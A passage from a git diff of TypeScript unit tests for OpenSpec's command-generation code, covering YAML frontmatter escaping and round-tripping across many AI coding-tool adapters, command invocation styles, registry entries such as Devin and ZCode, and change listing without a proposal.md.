and tags frontmatter', () => { + const output = zcodeAdapter.formatFile(sampleContent); + + expect(output).toContain('---\n'); + expect(output).toContain('name: "OpenSpec Explore"'); + expect(output).toContain('description: "Enter explore mode for thinking"'); + expect(output).toContain('category: "Workflow"'); + expect(output).toContain('tags: ["workflow", "explore", "experimental"]'); + expect(output).toContain('---\n\n'); + expect(output).toContain('This is the command body.\n\nWith multiple lines.'); + }); + + it('should format empty tags as an empty YAML array', () => { + const output = zcodeAdapter.formatFile({ ...sampleContent, tags: [] }); + expect(output).toContain('tags: []'); + }); + + it('should escape colons in description by quoting the YAML value', () => { + const output = zcodeAdapter.formatFile({ + ...sampleContent, + description: 'Enter: explore mode', + }); + expect(output).toContain('description: "Enter: explore mode"'); + }); + + it('should escape double quotes in description', () => { + const output = zcodeAdapter.formatFile({ + ...sampleContent, + description: 'Enter "explore" mode', + }); + expect(output).toContain('description: "Enter \\"explore\\" mode"'); + }); + + it('should escape newlines in description', () => { + const output = zcodeAdapter.formatFile({ + ...sampleContent, + description: 'Line 1\nLine 2', + }); + expect(output).toContain('description: "Line 1\\nLine 2"'); + }); + + it('should escape special characters in name', () => { + const output = zcodeAdapter.formatFile({ + ...sampleContent, + name: 'OpenSpec: Explore', + }); + expect(output).toContain('name: "OpenSpec: Explore"'); + }); + + it('should escape special characters in category', () => { + const output = zcodeAdapter.formatFile({ + ...sampleContent, + category: 'Work #flow', + }); + expect(output).toContain('category: "Work #flow"'); + }); + + it('should quote individual tags that contain special characters', () => { + const output = zcodeAdapter.formatFile({ + ...sampleContent, + tags: ['workflow', 'explore:1', 'experimental'], + }); + expect(output).toContain('tags: ["workflow", "explore:1", "experimental"]'); + }); + + it('should escape backslashes when quoting is triggered by another special char', () => { + // Backslash alone does not trigger quoting, but once quoting is on (via ':') + // every backslash must be doubled. Locks the replace(/\\/g, '\\\\') branch. + const output = zcodeAdapter.formatFile({ + ...sampleContent, + description: 'path:C:\\foo\\bar', + }); + expect(output).toContain('description: "path:C:\\\\foo\\\\bar"'); + }); + + it('should quote values with leading or trailing whitespace', () => { + const output = zcodeAdapter.formatFile({ + ...sampleContent, + description: ' explore mode ', + }); + expect(output).toContain('description: " explore mode "'); + }); + }); + describe('cross-platform path handling', () => { it('Claude adapter uses path.join for paths', () => { // path.join handles platform-specific separators @@ -686,19 +996,20 @@ describe('command-generation/adapters', () => { expect(filePath.split(path.sep)).toEqual(['.cursor', 'commands', 'opsx-test.md']); }); - it('Windsurf adapter uses path.join for paths', () => { - const filePath = windsurfAdapter.getFilePath('test'); - expect(filePath.split(path.sep)).toEqual(['.windsurf', 'workflows', 'opsx-test.md']); + it('Devin adapter uses path.join for paths', () => { + const filePath = devinAdapter.getFilePath('test'); + expect(filePath.split(path.sep)).toEqual(['.devin', 'workflows', 'opsx-test.md']); }); it('All adapters use path.join for paths', () => { // Verify all adapters produce valid paths const adapters = [ amazonQAdapter, antigravityAdapter, auggieAdapter, bobAdapter, clineAdapter, - codexAdapter, codebuddyAdapter, continueAdapter, costrictAdapter, + codebuddyAdapter, continueAdapter, costrictAdapter, crushAdapter, factoryAdapter, geminiAdapter, githubCopilotAdapter, - iflowAdapter, kilocodeAdapter, opencodeAdapter, piAdapter, qoderAdapter, - qwenAdapter, roocodeAdapter + iflowAdapter, kilocodeAdapter, kiroAdapter, lingmaAdapter, ohMyPiAdapter, + opencodeAdapter, piAdapter, qoderAdapter, qwenAdapter, roocodeAdapter, + traeAdapter, zcodeAdapter ]; for (const adapter of adapters) { const filePath = adapter.getFilePath('test'); @@ -707,4 +1018,162 @@ describe('command-generation/adapters', () => { } }); }); + + describe('YAML frontmatter escaping across adapters', () => { + // Derived from the registry, not hand-listed: a newly registered adapter + // must be covered by default. Adding one that emits no YAML frontmatter is + // then a deliberate act of adding it here. + const NON_YAML_ADAPTERS = ['cline', 'kilocode', 'roocode', 'gemini']; + const yamlAdapters = CommandAdapterRegistry.getAll().filter( + (adapter) => !NON_YAML_ADAPTERS.includes(adapter.toolId) + ); + + /** + * Builds a CommandContent whose every string field carries `marker`. + */ + function contentWith(marker: string): CommandContent { + return { + id: 'explore', + name: marker, + description: marker, + category: marker, + tags: [marker, 'explore'], + body: 'Body text', + }; + } + + /** + * Returns the frontmatter fields this adapter fills from CommandContent, + * found by rendering two different markers and keeping the fields that + * change. Fields derived from the command id (Cursor's `name`/`id`) or + * emitted as constants stay put and are excluded. + */ + function contentDerivedFields(adapter: ToolCommandAdapter): string[] { + const render = (marker: string): Record<string, unknown> => { + const match = adapter.formatFile(contentWith(marker)).match(/^---\n([\s\S]*?)\n---/); + return (parseYaml(match![1]) ?? {}) as Record<string, unknown>; + }; + // Deliberately different in length and shape. Two same-shaped markers + // would render identically for a field derived via length or a slice, + // and such a field would then be silently dropped from every assertion. + const left = render('AAA'); + const right = render('zz-BBB-9-longer'); + return Object.keys(left).filter( + (key) => JSON.stringify(left[key]) !== JSON.stringify(right[key]) + ); + } + + it('covers every registered YAML adapter', () => { + const baseline = contentWith('Baseline'); + expect(yamlAdapters.length).toBeGreaterThan(0); + for (const adapter of yamlAdapters) { + expect(adapter.formatFile(baseline), adapter.toolId).toMatch(/^---\n/); + } + for (const toolId of NON_YAML_ADAPTERS) { + const adapter = CommandAdapterRegistry.get(toolId); + expect(adapter, `${toolId} is excluded but not registered`).toBeDefined(); + expect(adapter!.formatFile(baseline), toolId).not.toMatch(/^---\n/); + } + }); + + const roundTripCases: Array<[string, string]> = [ + ['plain text', 'Enter explore mode for thinking'], + ['empty string', ''], + ['colon and quotes', 'Explore mode: "thinking" & planning (e.g. feature: dark-mode)'], + ['block literal |', '|'], + ['block literal |-', '|-'], + ['block literal |+', '|+'], + ['block folded >', '>'], + ['block folded >-', '>-'], + ['block folded >+', '>+'], + ['block with text', '| block text'], + ['folded with text', '> folded text'], + ['boolean true', 'true'], + ['boolean false', 'false'], + ['boolean yes', 'yes'], + ['boolean no', 'no'], + ['boolean on', 'on'], + ['boolean off', 'off'], + ['null string', 'null'], + ['tilde null', '~'], + ['integer', '123'], + ['zero', '0'], + ['negative int', '-10'], + ['float', '1.23'], + ['scientific notation', '1e5'], + ['hex integer', '0x12'], + ['octal integer', '077'], + ['binary integer', '0b101'], + ['infinity', '.inf'], + ['nan', '.nan'], + ['special characters', '# comment: [a, b] {c: d} - item ? key *ref &anc !tag @at `cmd`'], + ['leading space', ' leading'], + ['trailing space', 'trailing '], + ['multiple spaces', ' '], + // Without these the matrix drives no control character at all, so the + // escaping this suite exists to prove gets no adapter-level coverage — + // and the raw-CR assertion below can never fail. + ['carriage return', 'line 1\rline 2'], + ['line feed', 'line 1\nline 2'], + ['nul', 'a\x00b'], + ['escape', 'ansi\x1b[0m'], + ['delete', 'a\x7fb'], + ['next line', 'a\x85b'], + ]; + + for (const adapter of yamlAdapters) { + describe(`${adapter.toolId} adapter table-driven round-trip`, () => { + for (const [label, testVal] of roundTripCases) { + it(`preserves every string field and its type for ${label}`, () => { + // Every string field carries the hostile value, not just + // description: a field an adapter forgot to escape is only caught + // if the matrix actually drives that field. + const content: CommandContent = { + id: 'explore', + name: testVal, + description: testVal, + category: testVal, + tags: [testVal, 'explore'], + body: 'Body text', + }; + + const fileContent = adapter.formatFile(content); + const frontmatterMatch = fileContent.match(/^---\n([\s\S]*?)\n---/); + expect(frontmatterMatch).not.toBeNull(); + const frontmatter = frontmatterMatch![1]; + + // A raw CR survives the parser but corrupts the file for anything + // that splits on lines, so round-tripping alone would not catch it. + expect(frontmatter, 'raw carriage return in frontmatter').not.toContain('\r'); + + let parsed: Record<string, unknown> | undefined; + expect(() => { + parsed = parseYaml(frontmatter); + }).not.toThrow(); + + // Adapters emit different field subsets, and some derive name/id + // from the command id rather than from the content. Identify the + // content-derived fields by rendering a second time with a + // different value and seeing which outputs move — a field that is + // constant across both renders never carried our input, so it has + // nothing to round-trip. This must not be softened into "skip the + // field if it doesn't look like our value": a broken escape mangles + // the value, and skipping on mismatch would skip the very bug. + const contentFields = contentDerivedFields(adapter); + expect(contentFields.length, `${adapter.toolId} emits no content fields`) + .toBeGreaterThan(0); + + for (const field of contentFields) { + if (field === 'tags') { + expect(parsed!.tags, `${adapter.toolId}.tags`).toEqual([testVal, 'explore']); + continue; + } + expect(parsed![field], `${adapter.toolId}.${field}`).toBe(testVal); + expect(typeof parsed![field], `${adapter.toolId}.${field} type`).toBe('string'); + } + }); + } + }); + } + }); }); diff --git a/test/core/command-generation/generator.test.ts b/test/core/command-generation/generator.test.ts index 903aac3e1d..e7a5c8fb66 100644 --- a/test/core/command-generation/generator.test.ts +++ b/test/core/command-generation/generator.test.ts @@ -20,17 +20,17 @@ describe('command-generation/generator', () => { expect(result.path).toContain('.claude'); expect(result.path).toContain('explore.md'); - expect(result.fileContent).toContain('name: OpenSpec Explore'); + expect(result.fileContent).toContain('name: "OpenSpec Explore"'); expect(result.fileContent).toContain('Command body here.'); }); - it('should generate command with path and content using Cursor adapter', () => { + it('should generate command for Cursor adapter', () => { const result = generateCommand(sampleContent, cursorAdapter); expect(result.path).toContain('.cursor'); expect(result.path).toContain('opsx-explore.md'); - expect(result.fileContent).toContain('name: /opsx-explore'); - expect(result.fileContent).toContain('id: opsx-explore'); + expect(result.fileContent).toContain('name: "/opsx-explore"'); + expect(result.fileContent).toContain('id: "opsx-explore"'); expect(result.fileContent).toContain('Command body here.'); }); @@ -98,13 +98,13 @@ describe('command-generation/generator', () => { const results = generateCommands(contents, claudeAdapter); - expect(results[0].fileContent).toContain('name: A'); + expect(results[0].fileContent).toContain('name: "A"'); expect(results[0].fileContent).toContain('B1'); - expect(results[0].fileContent).not.toContain('name: B'); + expect(results[0].fileContent).not.toContain('name: "B"'); - expect(results[1].fileContent).toContain('name: B'); + expect(results[1].fileContent).toContain('name: "B"'); expect(results[1].fileContent).toContain('B2'); - expect(results[1].fileContent).not.toContain('name: A'); + expect(results[1].fileContent).not.toContain('name: "A"'); }); }); }); diff --git a/test/core/command-generation/invocation.test.ts b/test/core/command-generation/invocation.test.ts new file mode 100644 index 0000000000..fbbf0d963f --- /dev/null +++ b/test/core/command-generation/invocation.test.ts @@ -0,0 +1,182 @@ +import { describe, it, expect } from 'vitest'; +import path from 'path'; +import { + formatCommandInvocation, + getInvocationForAdapter, + getInvocationStyleForPath, + needsInvocationRewrite, +} from '../../../src/core/command-generation/invocation.js'; +import { CommandAdapterRegistry } from '../../../src/core/command-generation/registry.js'; +import { resolveCommandInvocation } from '../../../src/core/command-surface.js'; +import { generateCommand } from '../../../src/core/command-generation/generator.js'; +import type { CommandContent } from '../../../src/core/command-generation/types.js'; +import { ALL_WORKFLOWS } from '../../../src/core/profiles.js'; + +/** + * Tools whose command files live in an `opsx/` directory, so the tool + * namespaces the command and registers `/opsx:<id>`. Every other registered + * adapter writes `opsx-<id>` as the filename and therefore registers + * `/opsx-<id>`. + * + * This list is a tripwire, not the source of truth: production classifies a + * tool from its own `getFilePath`. A new adapter that lands on the wrong side + * of the split fails here, which is the point. + */ +const NAMESPACED_TOOLS = ['claude', 'codebuddy', 'crush', 'gemini', 'lingma', 'qoder', 'zcode']; + +/** + * Tools whose command name is wrapped in something other than a slash. The + * prefix cannot be read off the file path, so it is adapter metadata — and + * this list is the tripwire that a new one was declared deliberately. Amazon Q + * loads its `.amazonq/prompts/` files into its prompt library, invoked as + * `@opsx-<id>`. + */ +const NON_SLASH_PREFIXES: Record<string, string> = { 'amazon-q': '@' }; + +const expectedInvocation = (toolId: string) => ({ + style: NAMESPACED_TOOLS.includes(toolId) ? ('namespaced' as const) : ('flat' as const), + prefix: NON_SLASH_PREFIXES[toolId] ?? '/', +}); + +const sampleContent: CommandContent = { + id: 'apply', + name: 'OpenSpec Apply', + description: 'Implement tasks', + category: 'Workflow', + tags: ['openspec'], + body: 'Run /opsx:archive when done. See /opsx:continue for the next artifact.', +}; + +describe('command-generation/invocation', () => { + describe('getInvocationStyleForPath', () => { + it('classifies an opsx- prefixed filename as flat', () => { + expect(getInvocationStyleForPath(path.join('.cursor', 'commands', 'opsx-apply.md'))).toBe('flat'); + expect(getInvocationStyleForPath(path.join('.github', 'prompts', 'opsx-apply.prompt.md'))).toBe('flat'); + }); + + it('classifies a file inside an opsx/ directory as namespaced', () => { + expect(getInvocationStyleForPath(path.join('.claude', 'commands', 'opsx', 'apply.md'))).toBe('namespaced'); + expect(getInvocationStyleForPath(path.join('.gemini', 'commands', 'opsx', 'apply.toml'))).toBe('namespaced'); + }); + }); + + describe('every registered adapter', () => { + it('is classified by the command files it writes, not by a hand-kept list', () => { + for (const adapter of CommandAdapterRegistry.getAll()) { + expect( + getInvocationForAdapter(adapter), + `${adapter.toolId} writes ${adapter.getFilePath('apply')}` + ).toEqual(expectedInvocation(adapter.toolId)); + } + }); + + it('defaults to the slash prefix unless the adapter declares another', () => { + // The prefix is the one part that cannot be derived from the file path, + // so an adapter that quietly grew one should show up here. + for (const adapter of CommandAdapterRegistry.getAll()) { + expect(adapter.invocationPrefix, adapter.toolId).toBe( + NON_SLASH_PREFIXES[adapter.toolId] + ); + } + }); + + it('classifies every command id as that adapter is expected to be classified', () => { + for (const adapter of CommandAdapterRegistry.getAll()) { + const expected = NAMESPACED_TOOLS.includes(adapter.toolId) ? 'namespaced' : 'flat'; + for (const id of ALL_WORKFLOWS) { + expect( + getInvocationStyleForPath(adapter.getFilePath(id)), + `${adapter.toolId} ${id}` + ).toBe(expected); + } + } + }); + }); + + describe('resolveCommandInvocation', () => { + it('resolves the invocation for every registered tool', () => { + // Compared against the expected table, not against + // getInvocationForAdapter — asserting f(x) === f(x) can never fail. + for (const adapter of CommandAdapterRegistry.getAll()) { + expect(resolveCommandInvocation(adapter.toolId), adapter.toolId).toEqual( + expectedInvocation(adapter.toolId) + ); + } + expect(resolveCommandInvocation('cursor')).toEqual({ style: 'flat', prefix: '/' }); + expect(resolveCommandInvocation('claude')).toEqual({ style: 'namespaced', prefix: '/' }); + expect(resolveCommandInvocation('amazon-q')).toEqual({ style: 'flat', prefix: '@' }); + }); + + it('returns undefined for tools with no command adapter', () => { + // These tools receive skills only, so they have no command name to spell. + for (const toolId of ['codex', 'kimi', 'vibe', 'hermes', 'not-a-tool']) { + expect(resolveCommandInvocation(toolId), toolId).toBeUndefined(); + } + }); + }); + + describe('formatCommandInvocation', () => { + it('spells each shape the way the tool registers it', () => { + expect(formatCommandInvocation({ style: 'namespaced', prefix: '/' }, 'apply')).toBe('/opsx:apply'); + expect(formatCommandInvocation({ style: 'flat', prefix: '/' }, 'apply')).toBe('/opsx-apply'); + expect(formatCommandInvocation({ style: 'flat', prefix: '@' }, 'bulk-archive')).toBe( + '@opsx-bulk-archive' + ); + }); + + it('rewrites only what differs from the canonical authored form', () => { + expect(needsInvocationRewrite({ style: 'namespaced', prefix: '/' })).toBe(false); + expect(needsInvocationRewrite({ style: 'flat', prefix: '/' })).toBe(true); + expect(needsInvocationRewrite({ style: 'namespaced', prefix: '@' })).toBe(true); + }); + }); + + describe('generateCommand', () => { + it('rewrites command references to the names a flat tool registers', () => { + for (const toolId of ['cursor', 'github-copilot', 'devin', 'opencode', 'qwen']) { + const adapter = CommandAdapterRegistry.get(toolId)!; + const { fileContent } = generateCommand(sampleContent, adapter); + expect(fileContent, toolId).toContain('/opsx-archive'); + expect(fileContent, toolId).toContain('/opsx-continue'); + expect(fileContent, toolId).not.toContain('/opsx:'); + } + }); + + it("writes Amazon Q's prompt-library form, not a slash command", () => { + // .amazonq/prompts/opsx-<id>.md is a prompt, invoked with @ — a body + // telling the user to type /opsx-archive names nothing Amazon Q registers. + const adapter = CommandAdapterRegistry.get('amazon-q')!; + const { fileContent } = generateCommand(sampleContent, adapter); + expect(fileContent).toContain('@opsx-archive'); + expect(fileContent).toContain('@opsx-continue'); + expect(fileContent).not.toContain('/opsx-'); + expect(fileContent).not.toContain('/opsx:'); + }); + + it('leaves command references alone for namespaced tools', () => { + for (const toolId of NAMESPACED_TOOLS) { + const adapter = CommandAdapterRegistry.get(toolId)!; + const { fileContent } = generateCommand(sampleContent, adapter); + expect(fileContent, toolId).toContain('/opsx:archive'); + expect(fileContent, toolId).not.toContain('/opsx-archive'); + } + }); + + it('rewrites nothing but the command references', () => { + const adapter = CommandAdapterRegistry.get('cursor')!; + const plain = { ...sampleContent, body: 'Plain body. See docs/opsx.md and openspec/changes/.' }; + const { fileContent } = generateCommand(plain, adapter); + expect(fileContent).toContain('Plain body. See docs/opsx.md and openspec/changes/.'); + }); + + it('leaves the adapters themselves as pure formatters', () => { + // generateCommand owns the rewrite; an adapter that re-added its own + // body transform would break this contract even though the output of + // generateCommand happens to be identical (the rewrite is idempotent). + for (const toolId of ['bob', 'oh-my-pi', 'opencode', 'pi', 'qwen', 'cursor', 'devin']) { + const adapter = CommandAdapterRegistry.get(toolId)!; + expect(adapter.formatFile(sampleContent), toolId).toContain('/opsx:archive'); + } + }); + }); +}); diff --git a/test/core/command-generation/registry.test.ts b/test/core/command-generation/registry.test.ts index 14165ff51b..07fb8bf774 100644 --- a/test/core/command-generation/registry.test.ts +++ b/test/core/command-generation/registry.test.ts @@ -1,5 +1,6 @@ import { describe, it, expect } from 'vitest'; import { CommandAdapterRegistry } from '../../../src/core/command-generation/registry.js'; +import { resolveCommandSurfaceCapability } from '../../../src/core/command-surface.js'; describe('command-generation/registry', () => { describe('get', () => { @@ -15,10 +16,16 @@ describe('command-generation/registry', () => { expect(adapter?.toolId).toBe('cursor'); }); - it('should return Windsurf adapter for "windsurf"', () => { - const adapter = CommandAdapterRegistry.get('windsurf'); + it('should return the Devin adapter for "devin", the id Windsurf became', () => { + const adapter = CommandAdapterRegistry.get('devin'); expect(adapter).toBeDefined(); - expect(adapter?.toolId).toBe('windsurf'); + expect(adapter?.toolId).toBe('devin'); + }); + + it('should return Devin adapter for "devin"', () => { + const adapter = CommandAdapterRegistry.get('devin'); + expect(adapter).toBeDefined(); + expect(adapter?.toolId).toBe('devin'); }); it('should return Junie adapter for "junie"', () => { @@ -27,11 +34,28 @@ describe('command-generation/registry', () => { expect(adapter?.toolId).toBe('junie'); }); + it('should return ZCode adapter for "zcode"', () => { + const adapter = CommandAdapterRegistry.get('zcode'); + expect(adapter).toBeDefined(); + expect(adapter?.toolId).toBe('zcode'); + }); + it('should return undefined for unregistered tool', () => { const adapter = CommandAdapterRegistry.get('unknown-tool'); expect(adapter).toBeUndefined(); }); + it('should return undefined for skills-only tools without adapters', () => { + expect(CommandAdapterRegistry.get('codeartsagent')).toBeUndefined(); + expect(CommandAdapterRegistry.get('hermes')).toBeUndefined(); + expect(CommandAdapterRegistry.get('kimi')).toBeUndefined(); + }); + + it('should return undefined for Codex', () => { + const adapter = CommandAdapterRegistry.get('codex'); + expect(adapter).toBeUndefined(); + }); + it('should return undefined for empty string', () => { const adapter = CommandAdapterRegistry.get(''); expect(adapter).toBeUndefined(); @@ -42,16 +66,24 @@ describe('command-generation/registry', () => { it('should return array of all registered adapters', () => { const adapters = CommandAdapterRegistry.getAll(); expect(Array.isArray(adapters)).toBe(true); - expect(adapters.length).toBeGreaterThanOrEqual(3); // At least Claude, Cursor, Windsurf + expect(adapters.length).toBeGreaterThanOrEqual(3); // At least Claude, Cursor, Devin }); - it('should include Claude, Cursor, and Windsurf adapters', () => { + it('should include Claude, Cursor, and Devin adapters', () => { const adapters = CommandAdapterRegistry.getAll(); const toolIds = adapters.map((a) => a.toolId); expect(toolIds).toContain('claude'); expect(toolIds).toContain('cursor'); - expect(toolIds).toContain('windsurf'); + expect(toolIds).toContain('devin'); + expect(toolIds).not.toContain('codex'); + }); + + it('should include the ZCode adapter', () => { + const adapters = CommandAdapterRegistry.getAll(); + const toolIds = adapters.map((a) => a.toolId); + + expect(toolIds).toContain('zcode'); }); }); @@ -59,25 +91,32 @@ describe('command-generation/registry', () => { it('should return true for registered tools', () => { expect(CommandAdapterRegistry.has('claude')).toBe(true); expect(CommandAdapterRegistry.has('cursor')).toBe(true); - expect(CommandAdapterRegistry.has('windsurf')).toBe(true); + expect(CommandAdapterRegistry.has('devin')).toBe(true); + expect(CommandAdapterRegistry.has('devin')).toBe(true); expect(CommandAdapterRegistry.has('junie')).toBe(true); + expect(CommandAdapterRegistry.has('zcode')).toBe(true); + expect(CommandAdapterRegistry.has('codex')).toBe(false); }); it('should return false for unregistered tools', () => { expect(CommandAdapterRegistry.has('unknown')).toBe(false); expect(CommandAdapterRegistry.has('')).toBe(false); }); + + it('should return false for CodeArts without a command adapter', () => { + expect(CommandAdapterRegistry.has('codeartsagent')).toBe(false); + }); }); describe('adapter functionality', () => { it('registered adapters should have working getFilePath', () => { const claudeAdapter = CommandAdapterRegistry.get('claude'); const cursorAdapter = CommandAdapterRegistry.get('cursor'); - const windsurfAdapter = CommandAdapterRegistry.get('windsurf'); + const devinAdapter = CommandAdapterRegistry.get('devin'); expect(claudeAdapter?.getFilePath('test')).toContain('.claude'); expect(cursorAdapter?.getFilePath('test')).toContain('.cursor'); - expect(windsurfAdapter?.getFilePath('test')).toContain('.windsurf'); + expect(devinAdapter?.getFilePath('test')).toContain('.devin'); }); it('registered adapters should have working formatFile', () => { @@ -91,7 +130,7 @@ describe('command-generation/registry', () => { }; // Tools that don't use YAML frontmatter (markdown headers or TOML or plain) - const noYamlFrontmatter = ['cline', 'kilocode', 'roocode', 'gemini', 'qwen']; + const noYamlFrontmatter = ['cline', 'kilocode', 'roocode', 'gemini']; const adapters = CommandAdapterRegistry.getAll(); for (const adapter of adapters) { @@ -105,4 +144,11 @@ describe('command-generation/registry', () => { } }); }); + + describe('command surface capabilities', () => { + it('resolves Codex as skills-invocable without an adapter', () => { + expect(resolveCommandSurfaceCapability('codex')).toBe('skills-invocable'); + expect(CommandAdapterRegistry.get('codex')).toBeUndefined(); + }); + }); }); diff --git a/test/core/command-generation/yaml.test.ts b/test/core/command-generation/yaml.test.ts new file mode 100644 index 0000000000..a19be2946d --- /dev/null +++ b/test/core/command-generation/yaml.test.ts @@ -0,0 +1,122 @@ +import { describe, it, expect } from 'vitest'; +import { parse as parseYaml } from 'yaml'; +import { escapeYamlValue } from '../../../src/core/command-generation/yaml.js'; + +/** + * Parses a single-key YAML document and returns the round-tripped value. + * + * @param value - The raw string to escape and round-trip through YAML. + * @returns The value as read back by a real YAML parser. + */ +function roundTrip(value: string): unknown { + const doc = `key: ${escapeYamlValue(value)}\n`; + return parseYaml(doc).key; +} + +describe('command-generation/yaml escapeYamlValue', () => { + it('quotes plain values for safe string serialization', () => { + expect(escapeYamlValue('Enter explore mode for thinking')).toBe( + '"Enter explore mode for thinking"' + ); + }); + + it('quotes values containing a colon', () => { + expect(escapeYamlValue('Fix: regression')).toBe('"Fix: regression"'); + }); + + it('escapes embedded double quotes', () => { + expect(escapeYamlValue('Fix the "auth" feature')).toBe( + '"Fix the \\"auth\\" feature"' + ); + }); + + it('escapes backslashes before other characters', () => { + expect(escapeYamlValue('path\\to:thing')).toBe('"path\\\\to:thing"'); + }); + + it('escapes line feeds', () => { + expect(escapeYamlValue('Line 1\nLine 2')).toBe('"Line 1\\nLine 2"'); + }); + + it('escapes carriage returns', () => { + // Regression: \r is detected as needing quoting but was previously left + // as a literal CR inside the double-quoted scalar. + expect(escapeYamlValue('Line 1\rLine 2')).toBe('"Line 1\\rLine 2"'); + }); + + it('escapes CRLF sequences', () => { + expect(escapeYamlValue('Line 1\r\nLine 2')).toBe('"Line 1\\r\\nLine 2"'); + }); + + it('quotes values with leading or trailing whitespace', () => { + expect(escapeYamlValue(' leading')).toBe('" leading"'); + expect(escapeYamlValue('trailing ')).toBe('"trailing "'); + }); + + describe('round-trips through a real YAML parser', () => { + const cases: Array<[string, string]> = [ + ['plain', 'Enter explore mode'], + ['colon', 'Fix: regression in parser'], + ['double quotes', 'Fix the "auth" feature'], + ['backslash', 'path\\to\\thing'], + ['line feed', 'Line 1\nLine 2'], + ['carriage return', 'Line 1\rLine 2'], + ['crlf', 'Line 1\r\nLine 2'], + ['mixed special', 'a: "b"\r\n#c\\d'], + ['tab', 'column\tseparated'], + ['escape', 'ansi\x1b[0m reset'], + ['vertical tab', 'a\x0bb'], + ['form feed', 'a\x0cb'], + ['nul', 'a\x00b'], + ['delete', 'a\x7fb'], + ['next line', 'a\x85b'], + ]; + + for (const [label, value] of cases) { + it(`preserves the value: ${label}`, () => { + expect(roundTrip(value)).toBe(value); + }); + } + }); + + // YAML's c-printable production excludes the C0 controls, DEL and the C1 + // range. A raw control byte inside a double-quoted scalar is accepted by + // lenient parsers (including the one this suite uses) but rejected outright + // by stricter ones, so the generated file has to carry them as \xHH escapes + // to load in every tool. + describe('escapes non-printable characters rather than emitting them raw', () => { + const cases: Array<[string, string, string]> = [ + ['nul', '\x00', '"\\x00"'], + ['backspace', '\x08', '"\\x08"'], + ['vertical tab', '\x0b', '"\\x0b"'], + ['form feed', '\x0c', '"\\x0c"'], + ['escape', '\x1b', '"\\x1b"'], + ['delete', '\x7f', '"\\x7f"'], + ['next line', '\x85', '"\\x85"'], + ]; + + for (const [label, value, expected] of cases) { + it(`escapes ${label}`, () => { + expect(escapeYamlValue(value)).toBe(expected); + }); + } + + it('leaves tab, line feed and carriage return on their own escapes', () => { + expect(escapeYamlValue('\t')).toBe('"\t"'); + expect(escapeYamlValue('\n')).toBe('"\\n"'); + expect(escapeYamlValue('\r')).toBe('"\\r"'); + }); + + it('emits no raw control byte for any code point below U+00A0', () => { + for (let code = 0; code < 0xa0; code += 1) { + const emitted = escapeYamlValue(String.fromCharCode(code)); + // Tab is the one non-printable YAML allows verbatim. + if (code === 0x09) continue; + expect( + /[\x00-\x08\x0a-\x1f\x7f-\x9f]/.test(emitted), + `code point ${code} emitted raw` + ).toBe(false); + } + }); + }); +}); diff --git a/test/core/commands/change-command.list.test.ts b/test/core/commands/change-command.list.test.ts index 6bf24420e1..fdd72c8f18 100644 --- a/test/core/commands/change-command.list.test.ts +++ b/test/core/commands/change-command.list.test.ts @@ -12,7 +12,7 @@ describe('ChangeCommand.list', () => { beforeAll(async () => { cmd = new ChangeCommand(); originalCwd = process.cwd(); - tempRoot = path.join(os.tmpdir(), `openspec-change-command-list-${Date.now()}`); + tempRoot = await fs.mkdtemp(path.join(os.tmpdir(), 'openspec-change-command-list-')); const changeDir = path.join(tempRoot, 'openspec', 'changes', 'demo'); await fs.mkdir(changeDir, { recursive: true }); const proposal = `# Change: Demo\n\n## Why\nTest list.\n\n## What Changes\n- **auth:** Add requirement`; @@ -72,5 +72,65 @@ describe('ChangeCommand.list', () => { } finally { console.log = origLog; } + + }); +}); + +describe('ChangeCommand.list with a change that has no proposal.md', () => { + let cmd: ChangeCommand; + let tempRoot: string; + let originalCwd: string; + + const capture = async (run: () => Promise<void>): Promise<string> => { + const logs: string[] = []; + const origLog = console.log; + try { + console.log = (msg?: any, ...args: any[]) => { + logs.push([msg, ...args].filter(Boolean).join(' ')); + }; + await run(); + return logs.join('\n'); + } finally { + console.log = origLog; + } + }; + + beforeAll(async () => { + cmd = new ChangeCommand(); + originalCwd = process.cwd(); + tempRoot = await fs.mkdtemp(path.join(os.tmpdir(), 'openspec-change-list-noproposal-')); + // What `openspec new change` leaves behind, plus tasks: no proposal.md. + const scaffolded = path.join(tempRoot, 'openspec', 'changes', 'scaffolded'); + await fs.mkdir(scaffolded, { recursive: true }); + await fs.writeFile(path.join(scaffolded, '.openspec.yaml'), 'schema: spec-driven\n', 'utf-8'); + await fs.writeFile(path.join(scaffolded, 'tasks.md'), '- [x] Task 1\n- [ ] Task 2\n', 'utf-8'); + process.chdir(tempRoot); + }); + + afterAll(async () => { + process.chdir(originalCwd); + await fs.rm(tempRoot, { recursive: true, force: true }); + }); + + it('lists it, matching what `openspec list` resolves', async () => { + expect(await capture(() => cmd.list({}))).toContain('scaffolded'); + }); + + it('--long reports the missing proposal and keeps task counts', async () => { + const out = await capture(() => cmd.list({ long: true })); + expect(out).toContain('scaffolded: (no proposal.md yet)'); + expect(out).toContain('[tasks 1/2]'); + expect(out).not.toContain('(unable to read)'); + }); + + it('--json names the change instead of "Unknown" and keeps task counts', async () => { + const parsed = JSON.parse(await capture(() => cmd.list({ json: true }))); + expect(parsed).toHaveLength(1); + expect(parsed[0]).toMatchObject({ + id: 'scaffolded', + title: 'scaffolded', + deltaCount: 0, + taskStatus: { total: 2, completed: 1 }, + }); }); }); diff --git a/test/core/commands/change-command.show-validate.test.ts b/test/core/commands/change-command.show-validate.test.ts index fcaa00ad53..b732067cd0 100644 --- a/test/core/commands/change-command.show-validate.test.ts +++ b/test/core/commands/change-command.show-validate.test.ts @@ -13,7 +13,7 @@ describe('ChangeCommand.show/validate', () => { beforeAll(async () => { cmd = new ChangeCommand(); originalCwd = process.cwd(); - tempRoot = path.join(os.tmpdir(), `openspec-change-command-${Date.now()}`); + tempRoot = await fs.mkdtemp(path.join(os.tmpdir(), 'openspec-change-command-')); const changesDir = path.join(tempRoot, 'openspec', 'changes', 'sample-change'); await fs.mkdir(changesDir, { recursive: true }); const proposal = `# Change: Sample Change\n\n## Why\nConsistency in tests.\n\n## What Changes\n- **auth:** Add requirement`; @@ -89,6 +89,82 @@ describe('ChangeCommand.show/validate', () => { } }); + describe('resolving a change that has no proposal.md', () => { + it('names the missing proposal and points at status', async () => { + await fs.mkdir(path.join(tempRoot, 'openspec', 'changes', 'scaffolded'), { recursive: true }); + + await expect(cmd.show('scaffolded', { json: false })).rejects.toThrow( + /Change "scaffolded" has no proposal\.md yet\..*openspec status --change scaffolded/s + ); + }); + + it('does not treat a stray file under changes/ as a change', async () => { + await fs.writeFile(path.join(tempRoot, 'openspec', 'changes', 'notes.md'), 'not a change', 'utf-8'); + + // Must stay the plain not-found error: `status --change notes.md` cannot work. + await expect(cmd.show('notes.md', { json: 